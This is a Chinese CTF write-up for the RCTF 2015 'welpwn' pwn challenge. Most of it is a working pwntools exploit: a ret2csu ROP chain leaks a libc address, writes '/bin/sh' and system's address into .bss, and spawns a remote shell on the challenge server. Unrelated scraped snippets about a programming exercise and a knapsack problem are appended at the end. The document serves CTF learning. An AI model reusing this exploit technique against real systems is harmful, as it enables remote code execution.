welpwn RCTF 2015 攻防世界

2021-09-24 03:12:21 字數 2218 閱讀 2949

參考鏈結

這個題只是沒有想到  找到這個點

然後 攻防世界 給的 so庫也有問題 感覺 攻防世界的so環境都是 2.23的鴨

然後我就沒有用dynelf  其實 可以在伺服器看一下 位址 然後根據 後三位來判斷是那個  只不過沒有 dynelf 方便

思路就是 構造乙個 rop  就那麼簡單 

from pwn import *

#io=process("./welpwn")

io=remote("111.198.29.45","53830")

elf=elf("./welpwn")

libc=elf("./libc_2.23.so")

#got_write = elf.got['write']

got_read = elf.got['read']

main_addr = 0x4007cd

pop_rdi_ret = 0x4008a3# pop rdi ret

pop4_r12_ret = 0x40089c# pop r12 r13 r14 r15

pop6_rbx_ret = 0x40089a# pop rbx rbp r12 r13 r14 r15

s1 = 0x4008c9

call_r12_rbx_8 = 0x400889#call [r12+rbx*8]

mov_rdx_rsi_edi_call = 0x400880

#mov rdx, r13 mov rsi, r14 mov di, r15d call qword ptr [r12+rbx*8]

if __name__ =="__main__":

io.recvuntil("welcome to rctf\n")

got_write = elf.got['write']

payload=0x18*"a" + p64(pop4_r12_ret)

payload+=p64(pop6_rbx_ret)+ p64(0x0) + p64(0x1) + p64(got_write)

payload+=p64(8) + p64(got_write) + p64(1) + p64(mov_rdx_rsi_edi_call)

payload+='a'*56

payload+=p64(main_addr)

io.sendline(payload)

write_addr=u64(io.recv(8))

print hex(write_addr)

libc_base_addr=write_addr-libc.sym['write']

print hex(libc_base_addr)

system_addr=libc_base_addr+libc.sym['system']

bbs_addr = 0x601260

payload2 = "a"*0x18 + p64(pop4_r12_ret)

payload2 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(got_read) + p64(0x11) + p64(bbs_addr) + p64(0) + p64(mov_rdx_rsi_edi_call)

payload2 += 56*"\x00"

payload2 += p64(main_addr)

io.sendline(payload2)

io.sendline("/bin/sh\0"+ p64(system_addr))

payload3 = "a"*0x18 + p64(pop4_r12_ret)

payload3 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(bbs_addr+8) + p64(0) + p64(0) + p64(bbs_addr) + p64(mov_rdx_rsi_edi_call)

payload3 += 56*"\x00"

payload3 += p64(main_addr)

io.sendline(payload3)

io.interactive()

然後成功get到flag

物件導向部分 201

小夥伴們,還在為不知道怎麼下手而頭疼嗎,我們程式競賽協會來幫你們啦 啦啦啦。另外,如果有對程式設計含有濃厚興趣的同學,我們隨時歡迎你們的加入喲 策劃 譚兆飛 程式設計 管懷文 協助 一號人員要求給她打碼 乾脆二號也打碼好了o o 其實只是提供了題目啦 物件導向部分 201 include inclu...

2 01揹包問題

有 nn 件物品和乙個容量是 vv 的揹包。每件物品只能使用一次。第 ii 件物品的體積是 vivi,價值是 wiwi。求解將哪些物品裝入揹包,可使這些物品的總體積不超過揹包容量,且總價值最大。輸出最大價值。輸入格式 第一行兩個整數,n,vn,v,用空格隔開,分別表示物品數量和揹包容積。接下來有 n...

2 01揹包問題

有 nn 件物品和乙個容量是 vv 的揹包。每件物品只能使用一次。第 ii 件物品的體積是 vivi,價值是 wiwi。求解將哪些物品裝入揹包,可使這些物品的總體積不超過揹包容量,且總價值最大。輸出最大價值。第一行兩個整數,n,vn,v,用空格隔開,分別表示物品數量和揹包容積。接下來有 nn 行,每...